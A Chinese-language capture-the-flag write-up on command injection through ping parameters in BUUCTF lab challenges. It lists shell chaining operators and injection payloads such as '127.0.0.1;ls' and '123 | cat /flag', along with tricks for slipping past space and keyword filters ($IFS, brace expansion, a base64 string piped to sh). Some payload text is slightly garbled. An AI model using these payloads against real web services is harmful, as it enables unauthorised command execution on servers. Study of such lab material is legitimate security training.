| 直接执行后面的语句,如ping
www.baidu.com|whoami
|| 如果前面的语句执行出错,则执行后面的。如ping
2||whoami
& 前面的语句可真可假。如ping
2&whoami
&& 前面的语句为真时,才执行后面的语句。如ping
www.baidu.com && whoami
| 管道符,直接执行后面的语句,如ping
-c 4 127.0.0.1 | whoami
|| 如果前面的语句执行出错,则执行后面的。如ping
-c 4 2 || whoami
; 执行完前面的,直接执行后面的;如ping
-c 4 127.0.0.1; whoami
&& 前面的语句为真时,才执行后面的语句。如ping
-c 4 127.0.0.1 && whoami
buuctf: [ACTF2020 新生赛]Exec
输入123| ls,查看一下当前目录下的文件。
只有一个index.php文件,我们再查看一下根目录下的文件。
123 | ls /
利用cat命令查看flag中的内容。
123 | cat /flag
cat$IFS$1flag //$1改成$加其他数字貌似都行
{cat,flag}
cat<flag
cat<>flag
${IFS}
%20
%09
变量拼接
反引号
反斜杠
引号
编码绕过
base64编码cat flag
这个题目的标题是pingping盲猜是关于命令执行的题目.
给ip参数传参:/?ip=127.0.0.1;ls
发现同级目录下的两个文件,我们输入?ip=127.0.0.1;cat flag.php.
并未执行成功,猜测可能是把空格过滤掉了。我们替换空格。(例如:$IFS$
1 )
发现仍未执行成功,可能将flag字符过滤掉了,但具体怎样过滤的我们还不确定,我们转换思路,查看index.php的内容。
成功查看到index的内容。
这段代码是一个PHP脚本,看起来是一个简单的IP地址的ping测试。让我逐行解释其含义:
/?ip=
这行代码是一个URL路径,表示在根目录下的ip参数。也就是说,该脚本期望通过GET请求将IP地址作为参数传递给它。
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)
这行代码使用正则表达式检查IP地址参数是否包含一些特殊字符。如果匹配到这些特殊字符,将会执行下面的代码块。
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
这段代码使用正则表达式检查IP地址参数中是否包含一些特殊符号,如&、/、?、*、<等。如果匹配到这些符号,将输出”fxck your symbol!”并终止脚本执行。
else if(preg_match("/ /", $ip)){
die("fxck your space!");
}
这段代码检查IP地址参数是否包含空格。如果包含空格,将输出”fxck your space!”并终止脚本执行。
else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
}
这段代码检查IP地址参数是否包含”bash”字符串。如果包含,将输出”fxck your bash!”并终止脚本执行。
else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
这段代码使用正则表达式检查IP地址参数是否包含”f”, “l”, “a”, “g”字符序列(无论字符之间是否有其他字符)。如果匹配到这个字符序列,将输出”fxck your flag!”并终止脚本执行。
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
这段代码使用shell_exec函数执行一个ping命令,向指定的IP地址发送4个回声请求。然后将ping命令的输出打印出来。`
总结来说,这段代码对传入的IP地址参数进行了一系列的检查,包括特殊字符、空格、”bash”字符串和特定字符序列。如果检查失败,将输出相应的错误信息并终止脚本执行。如果检查通过,将执行ping命令并打印其输出。
base64编码绕过:http://e7d31689-f496-4351-93df-bced5d941928.node4.buuoj.cn:81/?ip=127.0.0.1;echo1Y2F0IGZsYWcucGhw|base641-d|sh$IFS$$IFS$
我们可以利用变量拼接字符绕过,以达到执行cat flag.php的目的。
查看源代码:
得到flag。
经验:
多次尝试不同方式的字符绕过,以及连接符(比如:|或;或者&&)。